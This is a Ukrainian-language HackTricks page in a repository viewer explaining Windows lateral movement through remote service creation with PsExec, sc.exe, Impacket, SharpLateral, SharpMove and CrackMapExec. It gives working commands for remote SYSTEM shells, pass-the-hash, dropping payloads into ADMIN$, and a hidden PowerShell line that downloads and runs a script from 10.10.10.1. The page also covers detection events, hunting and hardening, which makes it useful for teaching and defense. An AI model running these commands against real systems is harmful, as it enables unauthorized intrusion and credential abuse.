154 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# PsExec/Winexec/ScExec/SMBExec
{{#include ../../banners/hacktricks-training.md}}
## Як вони працюють
Ці техніки зловживають Менеджером керування службами Windows (SCM) віддалено через SMB/RPC для виконання команд на цільовому хості. Загальний процес:
1. Аутентифікація на цільовому хості та доступ до спільної папки ADMIN$ через SMB (TCP/445).
2. Копіювання виконуваного файлу або вказівка команди LOLBAS, яку служба виконає.
3. Створення служби віддалено через SCM (MS-SCMR через \PIPE\svcctl), вказуючи на цю команду або двійковий файл.
4. Запуск служби для виконання корисного навантаження та, за бажанням, захоплення stdin/stdout через іменований канал.
5. Зупинка служби та очищення (видалення служби та будь-яких скинутих двійкових файлів).
Вимоги/попередні умови:
- Локальний адміністратор на цільовому хості (SeCreateServicePrivilege) або явні права на створення служби на цільовому хості.
- Доступний SMB (445) та спільна папка ADMIN$; Дозволене віддалене керування службами через брандмауер хоста.
- Обмеження UAC для віддалених: з локальними обліковими записами фільтрація токенів може блокувати адміністратора через мережу, якщо не використовувати вбудованого адміністратора або LocalAccountTokenFilterPolicy=1.
- Kerberos проти NTLM: використання імені хоста/FQDN дозволяє Kerberos; підключення за IP часто повертається до NTLM (і може бути заблоковане в захищених середовищах).
### Ручний ScExec/WinExec через sc.exe
Наступне показує мінімальний підхід до створення служби. Зображення служби може бути скинутим EXE або LOLBAS, таким як cmd.exe або powershell.exe.
```cmd
:: Execute a one-liner without dropping a binary
sc.exe \\TARGET create HTSvc binPath= "cmd.exe /c whoami > C:\\Windows\\Temp\\o.txt" start= demand
sc.exe \\TARGET start HTSvc
sc.exe \\TARGET delete HTSvc
:: Drop a payload to ADMIN$ and execute it (example path)
copy payload.exe \\TARGET\ADMIN$\Temp\payload.exe
sc.exe \\TARGET create HTSvc binPath= "C:\\Windows\\Temp\\payload.exe" start= demand
sc.exe \\TARGET start HTSvc
sc.exe \\TARGET delete HTSvc
```
Примітки:
- Очікуйте помилку тайм-ауту при запуску EXE, що не є службою; виконання все ще відбувається.
- Щоб залишатися більш дружніми до OPSEC, надавайте перевагу безфайловим командам (cmd /c, powershell -enc) або видаляйте скинуті артефакти.
Знайдіть більш детальні кроки в: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
## Інструменти та приклади
### Sysinternals PsExec.exe
- Класичний інструмент адміністратора, який використовує SMB для скидання PSEXESVC.exe в ADMIN$, встановлює тимчасову службу (ім'я за замовчуванням PSEXESVC) і проксірує I/O через іменовані канали.
- Приклади використання:
```cmd
:: Interactive SYSTEM shell on remote host
PsExec64.exe -accepteula \\HOST -s -i cmd.exe
:: Run a command as a specific domain user
PsExec64.exe -accepteula \\HOST -u DOMAIN\user -p 'Passw0rd!' cmd.exe /c whoami /all
:: Customize the service name for OPSEC (-r)
PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig
```
- Ви можете запускати безпосередньо з Sysinternals Live через WebDAV:
```cmd
\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami
```
OPSEC
- Залишає події встановлення/видалення служби (Ім'я служби часто PSEXESVC, якщо не використано -r) і створює C:\Windows\PSEXESVC.exe під час виконання.
### Impacket psexec.py (схожий на PsExec)
- Використовує вбудовану службу, схожу на RemCom. Скидає тимчасовий бінарний файл служби (зазвичай з випадковою назвою) через ADMIN$, створює службу (за замовчуванням часто RemComSvc) і проксірує I/O через іменований канал.
```bash
# Password auth
psexec.py DOMAIN/user:Password@HOST cmd.exe
# Pass-the-Hash
psexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST cmd.exe
# Kerberos (use tickets in KRB5CCNAME)
psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe
# Change service name and output encoding
psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"
```
Артефакти
- Тимчасовий EXE у C:\Windows\ (випадкові 8 символів). Ім'я служби за замовчуванням - RemComSvc, якщо не переопределено.
### Impacket smbexec.py (SMBExec)
- Створює тимчасову службу, яка запускає cmd.exe і використовує іменований канал для вводу/виводу. Загалом уникає скидання повного EXE вантажу; виконання команд є напівінтерактивним.
```bash
smbexec.py DOMAIN/user:Password@HOST
smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST
```
### SharpLateral та SharpMove
- [SharpLateral](https://github.com/mertdas/SharpLateral) (C#) реалізує кілька методів бічного переміщення, включаючи виконання на основі сервісу.
```cmd
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
```
- [SharpMove](https://github.com/0xthirteen/SharpMove) включає модифікацію/створення служби для віддаленого виконання команди.
```cmd
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
```
- Ви також можете використовувати CrackMapExec для виконання через різні бекенди (psexec/smbexec/wmiexec):
```bash
cme smb HOST -u USER -p PASS -x "whoami" --exec-method psexec
cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec
```
## OPSEC, detection and artifacts
Типові артефакти хоста/мережі при використанні технік, подібних до PsExec:
- Security 4624 (Logon Type 3) та 4672 (Special Privileges) на цілі для облікового запису адміністратора, що використовується.
- Security 5140/5145 події File Share та File Share Detailed, що показують доступ до ADMIN$ та створення/запис службових бінарних файлів (наприклад, PSEXESVC.exe або випадковий 8-символьний .exe).
- Security 7045 Service Install на цілі: імена служб, такі як PSEXESVC, RemComSvc або користувацькі (-r / -service-name).
- Sysmon 1 (Process Create) для services.exe або зображення служби, 3 (Network Connect), 11 (File Create) в C:\Windows\, 17/18 (Pipe Created/Connected) для труб, таких як \\.\pipe\psexesvc, \\.\pipe\remcom_*, або випадкові еквіваленти.
- Артефакт реєстру для EULA Sysinternals: HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1 на хості оператора (якщо не подавлено).
Ідеї для полювання
- Сповіщення про встановлення служб, де ImagePath включає cmd.exe /c, powershell.exe або TEMP-локації.
- Шукати створення процесів, де ParentImage є C:\Windows\PSEXESVC.exe або діти services.exe, що працюють як LOCAL SYSTEM, виконуючи оболонки.
- Позначати іменовані труби, що закінчуються на -stdin/-stdout/-stderr або відомі імена труб-клонів PsExec.
## Troubleshooting common failures
- Доступ заборонено (5) при створенні служб: не справжній локальний адміністратор, обмеження UAC для локальних облікових записів або захист від підробки EDR на шляху до бінарного файлу служби.
- Мережева адреса не знайдена (53) або не вдалося підключитися до ADMIN$: брандмауер блокує SMB/RPC або адміністративні спільні ресурси вимкнені.
- Kerberos не вдається, але NTLM заблоковано: підключайтеся за допомогою hostname/FQDN (не IP), забезпечте правильні SPN або надайте -k/-no-pass з квитками при використанні Impacket.
- Час запуску служби вичерпано, але корисне навантаження виконано: очікується, якщо це не справжній бінарний файл служби; захопіть вихід у файл або використовуйте smbexec для живого I/O.
## Hardening notes
- Windows 11 24H2 та Windows Server 2025 вимагають підписування SMB за замовчуванням для вихідних (та Windows 11 вхідних) з'єднань. Це не порушує законне використання PsExec з дійсними обліковими даними, але запобігає зловживанню непідписаним SMB реле та може вплинути на пристрої, які не підтримують підписування.
- Нове блокування NTLM клієнта SMB (Windows 11 24H2/Server 2025) може запобігти зворотному зв'язку NTLM при підключенні за IP або до серверів, що не підтримують Kerberos. У захищених середовищах це зламає PsExec/SMBExec на основі NTLM; використовуйте Kerberos (hostname/FQDN) або налаштуйте винятки, якщо це дійсно потрібно.
- Принцип найменших привілеїв: мінімізуйте членство локальних адміністраторів, надавайте перевагу Just-in-Time/Just-Enough Admin, впроваджуйте LAPS та моніторте/сповіщайте про встановлення служб 7045.
## See also
- WMI-based remote exec (often more fileless):
{{#ref}}
./wmiexec.md
{{#endref}}
- WinRM-based remote exec:
{{#ref}}
./winrm.md
{{#endref}}
## References
- PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec
- SMB security hardening in Windows Server 2025 & Windows 11 (signing by default, NTLM blocking): https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591
{{#include ../../banners/hacktricks-training.md}}